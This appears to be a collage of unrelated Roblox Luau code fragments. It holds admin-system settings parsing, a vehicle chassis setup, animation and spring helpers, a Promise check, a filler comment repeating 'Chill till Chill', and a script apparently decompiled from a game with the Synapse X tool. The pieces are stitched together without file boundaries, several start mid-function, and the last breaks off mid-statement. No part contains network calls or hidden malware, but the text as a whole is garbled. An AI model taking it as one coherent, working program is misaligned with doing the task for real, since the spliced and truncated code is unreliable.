elseif settingName == "ChatColors" then local newSetting = {} for rank, color in pairs(details) do local chatRankId = rank local chatColor3 = color if not tonumber(rank) then chatRankId = main:GetModule("cf"):GetRankId(rank) end if type(color) ~= "userdata" then chatColor3 = main:GetModule("cf"):GetColorFromString(color) end newSetting[chatRankId] = chatColor3 end main.settings.ChatColors = newSetting elseif settingName == "CoreNotices" then for noticeName, notice in pairs(details) do main:GetModule("CoreNotices")[noticeName] = notice end elseif settingName == "IgnoreScaleLimit" or settingName == "ViewBanland" or settingName == "IgnoreGearBlacklist" or settingName == "IgnoreCommandLimitPerMinute" then if tonumber(details) == nil then main.settings[settingName] = main:GetModule("cf"):GetRankId(details) end elseif settingName == "RankRequiredToViewPage" or settingName == "RankRequiredToViewRank" or settingName == "RankRequiredToViewRankType" then for subSettingName, rankId in pairs(details) do if tonumber(rankId) == nil then main.settings[settingName][subSettingName] = main:GetModule("cf"):GetRankId(rankId) end end elseif settingName == "Banned" then for i,userIdSet in pairs(details) do coroutine.wrap(function() local userId = tonumber(userIdSet) if not userId then userId = main:GetModule("cf"):GetUserId(userIdSet) end userId = tonumber(userId) or main:GetModule("cf"):GetUserId(userId) local record = { UserId = userId; BanTime = ""; Reason = ""; Server = "All"; SettingsBan = true; BannedBy = main.ownerId; } table.insert(main.settingsBanRecords, record) main.banned[tostring(userId)] = true end)() end elseif settingName == "VIPServerCommandBlacklist" then main.settings[settingName] = (type(details) == "table" and details) or {} for i,v in pairs(details) do main.blacklistedVipServerCommands[string.lower(v)] = true end elseif settingName == "CommandLimits" then main.settings[settingName] = (type(details) == "table" and details) or {} for commandName, limitDetails in pairs(details) do local lowercaseName = string.lower(commandName) main.settings[settingName][lowercaseName] = limitDetails if lowercaseName ~= commandName then main.settings[settingName][commandName] = nil end end elseif settingName == "NoticeSoundId" or settingName == "ErrorSoundId" then if details == 261082034 then -- Notice main.settings[settingName] = 2865227271 main.settings.NoticeVolume = 0.1 elseif details == 138090596 then -- Error main.settings[settingName] = 2865228021 main.settings.ErrorVolume = 0.1 end elseif settingName == "Ranks" then for _, rankDetails in pairs(details) do local rankId = rankDetails[1] local rankName = rankDetails[2] local specificUsers = rankDetails[3] if rankId > 5 then rankId = 5 elseif rankId < 0 then rankId = 0 end if specificUsers == nil or rankId == 5 or rankId == 0 then specificUsers = {} end for i,plrName in pairs(specificUsers) do if tonumber(plrName) then plrName = main:GetModule("cf"):GetName(plrName) end main.permissions.specificUsers[plrName] = rankId end end elseif settingName == "Gamepasses" then for productName, productId in pairs(main.products) do details[productId] = productName end for gamepassId, rankId in pairs(details) do gamepassId = tonumber(gamepassId) if gamepassId and gamepassId > 0 then local success, productInfo = pcall(function() return(main:GetModule("cf"):GetProductInfo(gamepassId, Enum.InfoType.GamePass)) end) if not success or not productInfo.Name then warn("HD Admin | You entered an invalid GamepassId: ".. tostring(gamepassId)) else if gamepassId and gamepassId > 0 then if tonumber(rankId) == nil then rankId = main:GetModule("cf"):GetRankId(rankId) end if gamepassId then productInfo.Rank = rankId main.permissions.gamepasses[tostring(gamepassId)] = productInfo end end end end end elseif settingName == "Assets" then for assetId, rankId in pairs(details) do assetId = tonumber(assetId) if assetId and assetId > 0 then local success, productInfo = pcall(function() return(main:GetModule("cf"):GetProductInfo(assetId, Enum.InfoType.Asset)) end) if not success or not productInfo.Name then warn("HD Admin | You entered an invalid AssetId: ".. tostring(assetId)) else if tonumber(rankId) == nil then rankId = main:GetModule("cf"):GetRankId(rankId) end if assetId then productInfo.Rank = rankId main.permissions.assets[tostring(assetId)] = productInfo end end end end elseif settingName == "Groups" then details[main.hdAdminGroup.Id] = {} for groupId, groupDetails in pairs(details) do groupId = tonumber(groupId) if groupId and groupId > 0 then local success, groupInfo = pcall(function() return(main.groupService:GetGroupInfoAsync(groupId)) end) if not success then warn("HD Admin | You entered an invalid GroupId: ".. tostring(groupId)) else local roles = groupInfo.Roles if roles then local newRoles = {} for _, roleDetails in pairs(roles) do newRoles[roleDetails.Name] = {} newRoles[roleDetails.Name].GroupRank = roleDetails.Rank end groupInfo.Roles = newRoles for roleName, rankId in pairs(groupDetails) do if tonumber(roleName) then for rN, roleDetails in pairs(newRoles) do if roleDetails.GroupRank == roleName then roleName = rN end end end if tonumber(rankId) == nil then rankId = main:GetModule("cf"):GetRankId(rankId) end if groupInfo.Roles[roleName] then groupInfo.Roles[roleName].Rank = rankId else --warn("HD Admin: Entered incorrect role Name/ID. That role does not exists.") end end end if groupId == main.hdAdminGroup.Id then main.hdAdminGroup.Info = groupInfo else main.permissions.groups[tostring(groupId)] = groupInfo end end end end elseif settingName == "Friends" or settingName == "FreeAdmin" or settingName == "VipServerOwner" or settingName == "VipServerPlayers" then local rankId = details if tonumber(rankId) == nil then rankId = main:GetModule("cf"):GetRankId(rankId) end local lowerCase = string.lower(string.sub(settingName,1,1)) local variableName = string.gsub(settingName,"%a",lowerCase, 1) main.permissions[variableName] = rankId end end end return module
--- Returns true if the command has an implementation on the caller's machine.
function Command:HasImplementation() return ((RunService:IsClient() and self.Object.ClientRun) or self.Object.Run) and true or false end return Command
-- Implements Javascript's `Map.prototype.forEach` as defined below -- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set/forEach
function Set:forEach(callback: setCallbackFn<any> | setCallbackFnWithThisArg<any>, thisArg: Object?): () if typeof(callback) ~= "function" then error("callback is not a function") end -- note: we can't turn this into a simple for-in loop, because the callbacks can modify the table and React, GQL, and Jest rely on JS behavior in that scenario arrayForEach(self._array, function(value) if thisArg ~= nil then (callback :: setCallbackFnWithThisArg<any>)(thisArg, value, value, self) else (callback :: setCallbackFn<any>)(value, value, self) end end) end function Set:has(value): boolean return self._map[value] ~= nil end function Set:ipairs() if _G.__DEV__ then warn( debug.traceback( "`for _,_ in mySet:ipairs() do` is deprecated and will be removed in a future release, please use `for _,_ in mySet do` instead\n", 2 ) ) end return ipairs(self._array) end return Set
--Still Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill--Still Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill --Still Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill
--
script.Parent:WaitForChild("A-Chassis Interface") script.Parent:WaitForChild("Plugins") script.Parent:WaitForChild("README") local car=script.Parent.Parent local _Tune=require(script.Parent) local Drive=car.Wheels:GetChildren() function getParts(model,t,a) for i,v in pairs(model:GetChildren()) do if v:IsA("BasePart") then table.insert(t,{v,a.CFrame:toObjectSpace(v.CFrame)}) elseif v:IsA("Model") then getParts(v,t,a) end end end for _,v in pairs(Drive) do for _,a in pairs({"Top","Bottom","Left","Right","Front","Back"}) do v[a.."Surface"]=Enum.SurfaceType.SmoothNoOutlines end local WParts = {} local tPos = v.Position-car.DriveSeat.Position if v.Name=="FL" or v.Name=="RL" then v.CFrame = car.DriveSeat.CFrame*CFrame.Angles(math.rad(90),0,math.rad(90)) else v.CFrame = car.DriveSeat.CFrame*CFrame.Angles(math.rad(90),0,math.rad(-90)) end v.CFrame = v.CFrame+tPos if v:FindFirstChild("Parts")~=nil then getParts(v.Parts,WParts,v) end if v:FindFirstChild("Fixed")~=nil then getParts(v.Fixed,WParts,v) end if v.Name=="FL" or v.Name=="FR" then v.CFrame = v.CFrame*CFrame.Angles(math.rad(_Tune.FCamber),0,0) if v.Name=="FL" then v.CFrame = v.CFrame*CFrame.Angles(0,0,math.rad(_Tune.FToe)) else v.CFrame = v.CFrame*CFrame.Angles(0,0,math.rad(-_Tune.FToe)) end elseif v.Name=="RL" or v.Name=="RR" then v.CFrame = v.CFrame*CFrame.Angles(math.rad(_Tune.RCamber),0,0) if v.Name=="RL" then v.CFrame = v.CFrame*CFrame.Angles(0,0,math.rad(_Tune.RToe)) else v.CFrame = v.CFrame*CFrame.Angles(0,0,math.rad(-_Tune.RToe)) end end for _,a in pairs(WParts) do a[1].CFrame=v.CFrame:toWorldSpace(a[2]) end if v.Name=="FL" then v.CFrame = v.CFrame*CFrame.Angles(0,math.rad(-_Tune.FCaster),0) elseif v.Name=="FR" or v.Name=="F" then v.CFrame = v.CFrame*CFrame.Angles(0,math.rad(_Tune.FCaster),0) elseif v.Name=="RL" then v.CFrame = v.CFrame*CFrame.Angles(0,math.rad(-_Tune.RCaster),0) elseif v.Name=="RR" or v.Name=="R" then v.CFrame = v.CFrame*CFrame.Angles(0,math.rad(_Tune.RCaster),0) end local arm=Instance.new("Part",v) arm.Name="Arm" arm.Anchored=true arm.CanCollide=false arm.FormFactor=Enum.FormFactor.Custom arm.Size=Vector3.new(1,1,1) arm.CFrame=(v.CFrame*CFrame.new(0,_Tune.StAxisOffset,0))*CFrame.Angles(-math.pi/2,-math.pi/2,0) arm.TopSurface=Enum.SurfaceType.Smooth arm.BottomSurface=Enum.SurfaceType.Smooth arm.Transparency=1 local base=arm:Clone() base.Parent=v base.Name="Base" base.CFrame=base.CFrame*CFrame.new(0,1,0) base.BottomSurface=Enum.SurfaceType.Hinge local axle=arm:Clone() axle.Parent=v axle.Name="Axle" axle.CFrame=CFrame.new(v.Position-((v.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector*((v.Size.x/2)+(axle.Size.x/2))),v.Position)*CFrame.Angles(0,math.pi,0) axle.BackSurface=Enum.SurfaceType.Hinge if v.Name=="F" or v.Name=="R" then local axle2=arm:Clone() axle2.Parent=v axle2.Name="Axle" axle2.CFrame=CFrame.new(v.Position+((v.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector*((v.Size.x/2)+(axle2.Size.x/2))),v.Position)*CFrame.Angles(0,math.pi,0) axle2.BackSurface=Enum.SurfaceType.Hinge MakeWeld(arm,axle2) end MakeWeld(car.DriveSeat,base) if v.Parent.Name == "RL" or v.Parent.Name == "RR" or v.Name=="R" then MakeWeld(car.DriveSeat,arm) end MakeWeld(arm,axle) arm:MakeJoints() axle:MakeJoints() if v:FindFirstChild("Fixed")~=nil then ModelWeld(v.Fixed,axle) end if v:FindFirstChild("Parts")~=nil then ModelWeld(v.Parts,v) end if v:FindFirstChild("Steer") then v:FindFirstChild("Steer"):Destroy() end local gyro=Instance.new("BodyGyro",v) gyro.Name="Stabilizer" if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then gyro.D=_Tune.FGyroD gyro.MaxTorque=_Tune.FGyroMaxTorque gyro.P=_Tune.FGyroP else gyro.D=_Tune.RGyroD gyro.MaxTorque=_Tune.RGyroMaxTorque gyro.P=_Tune.RGyroP end if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then local steer=Instance.new("BodyGyro",arm) steer.Name="Steer" steer.P=_Tune.SteerP steer.D=_Tune.SteerD steer.MaxTorque=Vector3.new(0,_Tune.SteerMaxTorque,0) steer.cframe=base.CFrame else MakeWeld(base,axle,"Weld") end local AV=Instance.new("BodyAngularVelocity",v) AV.Name="#AV" AV.angularvelocity=Vector3.new(0,0,0) AV.maxTorque=Vector3.new(_Tune.PBrakeForce,0,_Tune.PBrakeForce) AV.P=1e9 end for i,v in pairs(script:GetChildren()) do if v:IsA("ModuleScript") then require(v) end end wait() ModelWeld(car.Body,car.DriveSeat) local flipG = Instance.new("BodyGyro",car.DriveSeat) flipG.Name = "Flip" flipG.D = 0 flipG.MaxTorque = Vector3.new(0,0,0) flipG.P = 0 wait() UnAnchor(car) script.Parent["A-Chassis Interface"].Car.Value=car for i,v in pairs(script.Parent.Plugins:GetChildren()) do for _,a in pairs(v:GetChildren()) do if a:IsA("RemoteEvent") or v:IsA("RemoteFunction") then a.Parent=car for _,b in pairs(a:GetChildren()) do if b:IsA("Script") then b.Disabled=false end end end end v.Parent = script.Parent["A-Chassis Interface"] end script.Parent.Plugins:Destroy() car.DriveSeat.ChildAdded:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then local p=game.Players:GetPlayerFromCharacter(child.Part1.Parent) car.DriveSeat:SetNetworkOwner(p) local g=script.Parent["A-Chassis Interface"]:Clone() g.Parent=p.PlayerGui end end) car.DriveSeat.ChildRemoved:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") then for i,v in pairs(car.DriveSeat:GetChildren()) do if v:IsA("Sound") then v:Stop() end end if car.DriveSeat:FindFirstChild("Flip")~=nil then car.DriveSeat.Flip.MaxTorque = Vector3.new() end for i,v in pairs(car.Wheels:GetChildren()) do if v:FindFirstChild("#AV")~=nil then if v["#AV"].AngularVelocity.Magnitude>0 then v["#AV"].AngularVelocity = Vector3.new() v["#AV"].MaxTorque = Vector3.new() end end end end end) ver = require(script.Parent.README)
-- Hook events
Entry.TextBox.FocusLost:Connect(function(submit) return Window:LoseFocus(submit) end) UserInputService.InputBegan:Connect(function(input, gameProcessed) return Window:BeginInput(input, gameProcessed) end) Entry.TextBox:GetPropertyChangedSignal("Text"):Connect(function() if Entry.TextBox.Text:match("\t") then -- Eat \t Entry.TextBox.Text = Entry.TextBox.Text:gsub("\t", "") return end if Window.OnTextChanged then return Window.OnTextChanged(Entry.TextBox.Text) end end) Gui.ChildAdded:Connect(Window.UpdateWindowHeight) return Window
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 3 -- cooldown for use of the tool again BoneModelName = "Leg zone" -- name the zone model HumanoidName = "Humanoid"-- the name of player or mob u want to damage
--[=[ Checks whether the given object is a Promise via duck typing. This only checks if the object is a table and has an `andThen` method. @param object any @return boolean -- `true` if the given `object` is a Promise. ]=]
function Promise.is(object) if type(object) ~= "table" then return false end local objectMetatable = getmetatable(object) if objectMetatable == Promise then -- The Promise came from this library. return true elseif objectMetatable == nil then -- No metatable, but we should still chain onto tables with andThen methods return type(object.andThen) == "function" elseif type(objectMetatable) == "table" and type(rawget(objectMetatable, "__index")) == "table" and type(rawget(rawget(objectMetatable, "__index"), "andThen")) == "function" then -- Maybe this came from a different or older Promise library. return true end return false end
-- From a LocalScript
local Knit = require(game:GetService("ReplicatedStorage").Knit) local ReplicatedStorage = game:GetService("ReplicatedStorage") local PointsService = Knit.GetService("PointsService") local CameraController = Knit.GetService("CameraController") Knit.AddControllers(ReplicatedStorage.Services.ClientControllers) local function PointsChanged(points) print("My points:", points) end
--Give submit button functionality.
script.Parent.ImageButton.MouseButton1Click:connect(function() svh:FireServer(script.Parent.TextBox.Text) end)
-- functions
function stopAllAnimations() local oldAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then oldAnim = "idle" end if currentlyPlayingEmote then oldAnim = "idle" currentlyPlayingEmote = false end currentAnim = "" currentAnimInstance = nil if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end if (currentAnimTrack ~= nil) then currentAnimTrack:Stop() currentAnimTrack:Destroy() currentAnimTrack = nil end -- clean up walk if there is one if (runAnimKeyframeHandler ~= nil) then runAnimKeyframeHandler:disconnect() end if (runAnimTrack ~= nil) then runAnimTrack:Stop() runAnimTrack:Destroy() runAnimTrack = nil end return oldAnim end function getHeightScale() if Humanoid then if not Humanoid.AutomaticScalingEnabled then -- When auto scaling is not enabled, the rig scale stands in for -- a computed scale. return getRigScale() end local scale = Humanoid.HipHeight / HumanoidHipHeight if AnimationSpeedDampeningObject == nil then AnimationSpeedDampeningObject = script:FindFirstChild("ScaleDampeningPercent") end if AnimationSpeedDampeningObject ~= nil then scale = 1 + (Humanoid.HipHeight - HumanoidHipHeight) * AnimationSpeedDampeningObject.Value / HumanoidHipHeight end return scale end return getRigScale() end local function rootMotionCompensation(speed) local speedScaled = speed * 1.25 local heightScale = getHeightScale() local runSpeed = speedScaled / heightScale return runSpeed end local smallButNotZero = 0.0001 local function setRunSpeed(speed) local normalizedWalkSpeed = 0.5 -- established empirically using current `913402848` walk animation local normalizedRunSpeed = 1 local runSpeed = rootMotionCompensation(speed) local walkAnimationWeight = smallButNotZero local runAnimationWeight = smallButNotZero local walkAnimationTimewarp = runSpeed/normalizedWalkSpeed local runAnimationTimerwarp = runSpeed/normalizedRunSpeed if runSpeed <= normalizedWalkSpeed then walkAnimationWeight = 1 elseif runSpeed < normalizedRunSpeed then local fadeInRun = (runSpeed - normalizedWalkSpeed)/(normalizedRunSpeed - normalizedWalkSpeed) walkAnimationWeight = 1 - fadeInRun runAnimationWeight = fadeInRun walkAnimationTimewarp = 1 runAnimationTimerwarp = 1 else runAnimationWeight = 1 end currentAnimTrack:AdjustWeight(walkAnimationWeight) runAnimTrack:AdjustWeight(runAnimationWeight) currentAnimTrack:AdjustSpeed(walkAnimationTimewarp) runAnimTrack:AdjustSpeed(runAnimationTimerwarp) end function setAnimationSpeed(speed) if currentAnim == "walk" then setRunSpeed(speed) else if speed ~= currentAnimSpeed then currentAnimSpeed = speed currentAnimTrack:AdjustSpeed(currentAnimSpeed) end end end function keyFrameReachedFunc(frameName) if (frameName == "End") then if currentAnim == "walk" then if userNoUpdateOnLoop == true then if runAnimTrack.Looped ~= true then runAnimTrack.TimePosition = 0.0 end if currentAnimTrack.Looped ~= true then currentAnimTrack.TimePosition = 0.0 end else runAnimTrack.TimePosition = 0.0 currentAnimTrack.TimePosition = 0.0 end else local repeatAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then repeatAnim = "idle" end if currentlyPlayingEmote then if currentAnimTrack.Looped then -- Allow the emote to loop return end repeatAnim = "idle" currentlyPlayingEmote = false end local animSpeed = currentAnimSpeed playAnimation(repeatAnim, 0.15, Humanoid) setAnimationSpeed(animSpeed) end end end function rollAnimation(animName) local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end return idx end local function switchToAnim(anim, animName, transitionTime, humanoid) -- switch animation if (anim ~= currentAnimInstance) then if (currentAnimTrack ~= nil) then currentAnimTrack:Stop(transitionTime) currentAnimTrack:Destroy() end if (runAnimTrack ~= nil) then runAnimTrack:Stop(transitionTime) runAnimTrack:Destroy() if userNoUpdateOnLoop == true then runAnimTrack = nil end end currentAnimSpeed = 1.0 -- load it to the humanoid; get AnimationTrack currentAnimTrack = humanoid:LoadAnimation(anim) currentAnimTrack.Priority = Enum.AnimationPriority.Core -- play the animation currentAnimTrack:Play(transitionTime) currentAnim = animName currentAnimInstance = anim -- set up keyframe name triggers if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) -- check to see if we need to blend a walk/run animation if animName == "walk" then local runAnimName = "run" local runIdx = rollAnimation(runAnimName) runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim) runAnimTrack.Priority = Enum.AnimationPriority.Core runAnimTrack:Play(transitionTime) if (runAnimKeyframeHandler ~= nil) then runAnimKeyframeHandler:disconnect() end runAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) end end end function playAnimation(animName, transitionTime, humanoid) local idx = rollAnimation(animName) local anim = animTable[animName][idx].anim switchToAnim(anim, animName, transitionTime, humanoid) currentlyPlayingEmote = false end function playEmote(emoteAnim, transitionTime, humanoid) switchToAnim(emoteAnim, emoteAnim.Name, transitionTime, humanoid) currentlyPlayingEmote = true end
--[[Steering]]
Tune.SteerInner = 35 -- Inner wheel steering angle (in degrees) Tune.SteerOuter = 35 -- Outer wheel steering angle (in degrees) Tune.SteerSpeed = .05 -- Steering increment per tick (in degrees) Tune.ReturnSpeed = .1 -- Steering increment per tick (in degrees) Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS) Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent) Tune.MSteerExp = 1 -- Mouse steering exponential degree --Steer Gyro Tuning Tune.SteerD = 1000 -- Steering Dampening Tune.SteerMaxTorque = 50000 -- Steering Force Tune.SteerP = 100000 -- Steering Aggressiveness
--[[ Script Variables ]]
-- while not Players.LocalPlayer do wait() end local LocalPlayer = Players.LocalPlayer local Mouse = LocalPlayer:GetMouse() local PlayerGui = LocalPlayer:WaitForChild('PlayerGui') local ScreenGui = nil local ShiftLockIcon = nil local IsShiftLockMode = false local IsShiftLocked = false local IsActionBound = false
-- Functions
function SPRING.create(mass, force, damping, speed) local spring = { Target = Vector3.new(); Position = Vector3.new(); Velocity = Vector3.new(); Time = 0; Mass = mass or 5; Force = force or 50; Damping = damping or 4; Speed = speed or 4; } return setmetatable(spring, Meta) end function SPRING:shove(force) local x, y, z = force.X, force.Y, force.Z if x == math.huge or x == -math.huge then x = 0 end if y == math.huge or y == -math.huge then y = 0 end if z == math.huge or z == -math.huge then z = 0 end self.Velocity += Vector3.new(x, y, z) end function SPRING:update(dt) local Time = math.min(self.Time + dt * self.Speed, FixedRate * MaxSkips) for i = 1, math.floor(Time / FixedRate) * ITERATIONS do local iterationForce = self.Target - self.Position local acceleration = (iterationForce * self.Force) / self.Mass acceleration -= self.Velocity * self.Damping self.Velocity += acceleration * iterdt self.Position += self.Velocity * iterdt Time -= iterdt end self.Time = Time if self.Position.Magnitude > .00001 then return self.Position end return Vector3.zero end
-- Decompiled with the Synapse X Luau decompiler.
local l__LocalPlayer__1 = game.Players.LocalPlayer; local v2 = require(l__LocalPlayer__1:WaitForChild("PlayerScripts"):WaitForChild("PlayerModule")):GetControls(); local v3 = game["Run Service"]; local l__mouse__4 = l__LocalPlayer__1:GetMouse(); local v5 = {}; local u1 = require(script.Parent); local l__TweenService__2 = game:GetService("TweenService"); local l__UserInputService__3 = game:GetService("UserInputService"); local l__MinigameBackout__4 = script:FindFirstAncestor("MainUI").MinigameBackout; local l__Parent__5 = script.Parent.Parent.Parent; local function u6(p1) for v6 = #p1, 1, -1 do local v7 = math.random(v6); p1[v6] = p1[v7]; p1[v7] = p1[v6]; end; end; local function u7(p2) if u1.stopcam == true then return; end; u1.hum:UnequipTools(); if p2 == "Padlock" then require(script.Padlock)(u1); end; local u8 = nil; u8 = coroutine.create(function() if p2 == "ElevatorBreaker" then u1.stopcam = true; u1.freemouse = true; u1.hideplayers = 2; local v8 = CFrame.new(0, 0, 0); local v9 = tick() + 2; local l__WorldCFrame__10 = workspace:FindFirstChild("ElevatorBreakerCameraCFrame", true).WorldCFrame; u1.camShaker:ShakeOnce(2, 0.5, 0.5, 8); local l__CFrame__9 = u1.cam.CFrame; local l__FieldOfView__10 = u1.cam.FieldOfView; local u11 = false; task.spawn(function() for v11 = 1, 100000 do task.wait(); local v12 = l__TweenService__2:GetValue((2 - math.abs(tick() - v9)) / 2, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut); if not (tick() <= v9) then break; end; u1.cam.CFrame = l__CFrame__9:Lerp(l__WorldCFrame__10, v12) * u1.csgo; u1.cam.FieldOfView = l__FieldOfView__10 + (57 - l__FieldOfView__10) * v12; end; u1.cam.CFrame = l__WorldCFrame__10 * u1.csgo; for v13 = 1, 10000000000000 do task.wait(); u1.cam.CFrame = l__WorldCFrame__10 * u1.csgo; if u11 == true then break; end; end; end); wait(1); u1.char.PrimaryPart.Anchored = true; local l__ElevatorBreaker__14 = workspace:FindFirstChild("ElevatorBreaker", true); local l__ActivateEventPrompt__15 = l__ElevatorBreaker__14:FindFirstChild("ActivateEventPrompt"); l__ActivateEventPrompt__15.Parent = nil; local v16 = l__ElevatorBreaker__14:Clone(); v16.Parent = l__ElevatorBreaker__14.Parent; l__ActivateEventPrompt__15.Parent = v16; l__ActivateEventPrompt__15.Enabled = false; local l__Selector__17 = v16.XBoxUI:FindFirstChild("Selector", true); v16.XBoxUI.Enabled = l__UserInputService__3.GamepadEnabled; l__ElevatorBreaker__14:Destroy(); v16:WaitForChild("DoorHinge").TargetAngle = 135; local l__Door__18 = v16.Door; l__Door__18.CFrame = l__Door__18.CFrame + Vector3.new(0, 0.05, 0); local l__SurfaceGui__19 = v16:WaitForChild("SurfaceGui"); local u12 = {}; local function v20() local v21 = 0; for v22, v23 in pairs(v16:GetChildren()) do if v23.Name == "BreakerSwitch" then local v24 = v23:GetAttribute("ID"); local v25 = v23:GetAttribute("Enabled"); for v26, v27 in pairs(u12) do if v27[1] == v24 and v27[2] == v25 then v21 = v21 + 1; end; end; end; end; return v21; end; local u13 = nil; local u14 = nil; local function u15(p3, p4) if p4 == nil then p4 = not p3:GetAttribute("Enabled"); end; if p3:GetAttribute("Enabled") ~= p4 then p3.Sound:Play(); end; p3:SetAttribute("Enabled", p4); if p3:GetAttribute("Enabled") == true then p3:FindFirstChild("PrismaticConstraint", true).TargetPosition = -0.2; p3.Light.Material = Enum.Material.Neon; p3.Light.Attachment.Spark:Emit(1); p3.Sound.Pitch = 1.3; else p3:FindFirstChild("PrismaticConstraint", true).TargetPosition = 0.2; p3.Light.Material = Enum.Material.Glass; p3.Sound.Pitch = 1.2; end; p3.Sound:Play(); end; local u16 = 1; local function u17() if u11 == false then pcall(function() u13:Disconnect(); u14:Disconnect(); end); u11 = true; l__MinigameBackout__4.Visible = false; v16.XBoxUI.Enabled = false; u1.hideplayers = 0; v16:WaitForChild("DoorHinge").TargetAngle = 0; local l__basecamcf__28 = u1.basecamcf; local v29 = tick() + 0.5; u1.camShaker:ShakeOnce(2, 0.5, 0.5, 8); u1.char.PrimaryPart.Anchored = false; local l__CFrame__18 = u1.cam.CFrame; local l__FieldOfView__19 = u1.cam.FieldOfView; task.spawn(function() for v30 = 1, 100000 do task.wait(); local v31 = l__TweenService__2:GetValue((0.5 - math.abs(tick() - v29)) / 0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut); if not (tick() <= v29) then warn("damn daniel. ar ar ar"); break; end; u1.cam.CFrame = l__CFrame__18:Lerp(u1.basecamcf, v31) * u1.csgo; u1.cam.FieldOfView = l__FieldOfView__19 + (u1.fovspring - l__FieldOfView__19) * v31; end; u1.stopcam = false; u1.freemouse = false; l__ActivateEventPrompt__15.Enabled = true; end); coroutine.yield(u8); end; end; u13 = l__UserInputService__3.InputBegan:Connect(function(p5) if p5.UserInputType == Enum.UserInputType.MouseButton1 or p5.UserInputType == Enum.UserInputType.Touch then local v32 = u1.cam:ScreenPointToRay(p5.Position.X, p5.Position.Y); local v33, v34 = workspace:FindPartOnRay(Ray.new(v32.Origin, v32.Direction * 1000), u1.char); print(v33); if v33.Name == "BreakerSwitch" then u15(v33); u1.camShaker:ShakeOnce(0.5, 2, 0.06, 0.2); return; end; elseif p5.KeyCode == Enum.KeyCode.DPadUp or p5.KeyCode == Enum.KeyCode.DPadDown or p5.KeyCode == Enum.KeyCode.DPadLeft or p5.KeyCode == Enum.KeyCode.DPadRight then local v35 = math.floor(u16 / 2); if p5.KeyCode == Enum.KeyCode.DPadLeft then if u16 % 2 == 0 then u16 = math.clamp(u16 - 1, 0, 10); else print("cant do jack L"); end; end; if p5.KeyCode == Enum.KeyCode.DPadRight then if u16 % 2 ~= 0 then u16 = math.clamp(u16 + 1, 0, 10); else print("cant do jack L"); end; end; if p5.KeyCode == Enum.KeyCode.DPadUp then u16 = math.clamp(u16 - 2, 0, 10); end; if p5.KeyCode == Enum.KeyCode.DPadDown then u16 = math.clamp(u16 + 2, 0, 10); end; v16.XBoxUI.Enabled = true; for v36, v37 in pairs(v16.XBoxUI:GetChildren()) do if v37:GetAttribute("ID") == u16 then l__Selector__17.Parent = v37; end; end; return; elseif p5.KeyCode == Enum.KeyCode.ButtonA or p5.KeyCode == Enum.KeyCode.ButtonX then for v38, v39 in pairs(v16:GetChildren()) do if v39.Name == "BreakerSwitch" and v39:GetAttribute("ID") == u16 then u15(v39); end; end; return; elseif p5.KeyCode == Enum.KeyCode.ButtonB then u17(); end; end); local l__MinigameBackout__40 = l__Parent__5.MinigameBackout; l__MinigameBackout__40.Visible = true; l__TweenService__2:Create(l__MinigameBackout__40, TweenInfo.new(0.4, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, 3, true), { ImageColor3 = Color3.fromRGB(107, 129, 179), Size = UDim2.new(0.1, 60, 0.1, 60) }):Play(); u14 = l__MinigameBackout__40.MouseButton1Down:Connect(u17); spawn(function() for v41, v42 in pairs(v16:GetChildren()) do if v42.Name == "BreakerSwitch" and v42:IsA("BasePart") then delay(v42:GetAttribute("ID") / 10, function() l__TweenService__2:Create(v42, TweenInfo.new(0.3, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, 1, true), { Color = Color3.fromRGB(107, 107, 148) }):Play(); end); end; end; end); wait(3); for v43 = 1, 3 do for v44 = 1, 10 do u12[v44] = { v44, math.random(1, 5) >= 3 }; end; for v45 = 1, 100 do u6(u12); l__SurfaceGui__19.Frame.Code.Frame.Visible = true; for v46, v47 in pairs(u12) do l__SurfaceGui__19.Frame.Code.Text = string.format("%.2i", v47[1]); if v47[2] == true then 